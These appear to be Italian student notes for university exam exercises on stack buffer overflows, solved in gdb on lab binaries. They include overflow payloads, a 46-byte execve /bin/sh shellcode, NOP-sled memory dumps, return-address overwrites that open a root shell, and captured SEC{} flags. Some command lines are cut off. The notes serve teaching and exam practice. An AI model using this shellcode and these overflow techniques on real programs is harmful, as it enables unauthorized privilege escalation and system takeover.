ESAME 11/06/2021 – BOF

Trovato la lunghezza del payload che sovrascriveva la variabile di ritorno (622 byte + 4 della variabile)

```
(gdb) run $(perl -e 'print "A"x622, "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/Esame_11_06_21/bof/bof $(perl -
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

Trovata la lunghezza del nostro shellcode (46 byte)

```
└─$ python3
Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> len(b'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\
46
>>> exit()
```

Il nostro payload sarà quindi di 576 byte di NOP + 46 di shellcode + 4 di variabile di ritorno

Prendiamo l'indirizzo degli ultimi NOP

```
0xffffd1c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd200:     0x90909090      0x46b0c031      0xc931db31      0x16eb80cd
0xffffd210:     0x88c0315b      0x5b890743      0x0c438908      0x4b8d0bb0
0xffffd220:     0x0c538d08      0xe5e880cd      0x2fffffff      0x2f6e6962
0xffffd230:     0xd2006873      0x4300ffff      0x524f4c4f      0x47424746
0xffffd240:     0x3b35313d      0x4f430030      0x54524f4c      0x3d4d5245
```

Componiamo il payload e abbiamo aperto shell di root

```
process 27193 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$ ciao sono la shell
```

ESERCIZIO BOF 10 FEBBRAIO 2023

Scarichiamo l'eseguibile e runniamo con gbd [nome_eseguibile]

Andiamo a provare a fare degli overflow e con run $(perl -e 'print "A"x16, "BBBB"') riusciamo a sovrascrivere la variabile di ritorno.

(IL TUTOR FA UN MODO TUTTO STRANO)

Con info function vediamo una serie di secret function e andiamo a sovrascrivere questa gli indirizzi uno a uno di queste funzioni

Una di questa ci da un output del tipo

```
(gdb) run $(perl -e 'print "A"x16, "\x3d\x96\x04\x08"')
Starting program: /home/kali/Desktop/es_bof_lab/bof/esame $(perl -e 'print "A"x16, "\x3d\x96\x04\x08"')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
SEC{c2ltcGxlIGJ1ZmZlciBvdmVyZmxvdyB3aXRoIHNlY3JldCBmdW5jdGlvbg}
```

La consegna diceva che la flag doveva essere del tipo SEC{...} con qualcosa di compiuto. Ci accorgiamo che quello che abbiamo è codificato.

Proviamo a vedere se è base64 usando: `echo 'c2ltcGxlIGJ1ZmZlciBvdmVyZmxvdyB3aXRoIHNlY3JldCBmdW5jdGlvbg' | base64 -d`

Avremo:

```
┌──(kali㉿kali)-[~]
└─$ echo 'c2ltcGxlIGJ1ZmZlciBvdmVyZmxvdyB3aXRoIHNlY3JldCBmdW5jdGlvbg' | base64 -d
imple buffer overflow with secret functionbase64: invalid input
```

Se vogliamo proprio essere precisi andiamo ad aggiungere alla fine della stringa degli = fin che la scritta invalid input si leva.

ESERCIZIO 25 GIUGNO 2021

L'indirizzo di ritorno si sovrascrive con un payload di 20 byte, scriviamo tutte B nell'indirizzo con 16 "A" e 4 "B"

```
(gdb) run $(perl -e 'print "A"x16, "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Downloads/es $(perl -e 'print
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/lib

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

Con info function vediamo che ci sono delle secret_function e mettendo l'indirizzo di una di queste ci si stampa una flag

```
(gdb) run $(perl -e 'print "A"x16, "\x42\x64\x55\x5
The program being debugged has been started already
Start it from the beginning? (y or n) y
Starting program: /home/kali/Downloads/es $(perl -e
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-
SEC{simple_buffer_overflow_with_secret_7unction}
```

NON SO PERCHE' NON VA SE ESEGUITO FUORI DA GDB

ESERCIZIO 10 SETTEMBRE 2021

Vediamo che sovrascriviamo la variabile con payload di 1522 byte + 4 per la variabile

Con `python3` e poi `len(b'[shellcode.txt]')` vediamo che è lungo 46 byte

Il nostro payload, quindi, sarà 1476 NOP + 46 di shellcode + 4 di ritorno

Andiamo quindi a provare questo tipo di payload con `run $(perl -e 'print "\x90"x1476, [shellcode.txt]", "BBBB"')`

Poi facciamo `x/800xw $esp` e andiamo a vedere l'indirizzo degli ultimi NOP

Nel nostro caso

```
0xffffd1e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd200:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd210:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd220:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd230:     0x90909090      0x90909090      0xc0319090      0xdb3146b0
0xffffd240:     0x80cdc931      0x315b16eb      0x074388c0      0x89085b89
0xffffd250:     0x0bb00c43      0x8d084b8d      0x80cd0c53      0xffffe5e8
0xffffd260:     0x69622fff      0x68732f6e      0x42424242      0x4c4f4300
0xffffd270:     0x4746524f      0x313d4742      0x00303b35      0x4f4c4f43
0xffffd280:     0x52455452      0x72743d4d      0x6f636575      0x00726f6c
0xffffd290:     0x4d4d4f43      0x5f444e41      0x5f544f4e      0x4e554f46
```

Andiamo quindi a scrivere

`run $(perl -e 'print "\x90"x1476, "[shellcode.txt]", "\x20\xd2\xff\xff"')` e siamo dentro la nostra shell